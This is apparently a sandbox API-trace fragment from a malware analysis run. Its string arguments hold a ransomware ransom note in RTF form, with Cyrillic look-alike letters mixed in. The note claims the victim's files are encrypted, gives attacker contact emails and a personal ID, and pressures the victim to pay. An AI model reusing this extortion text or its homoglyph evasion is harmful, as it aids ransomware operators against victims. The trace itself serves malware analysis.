billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0041.887] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 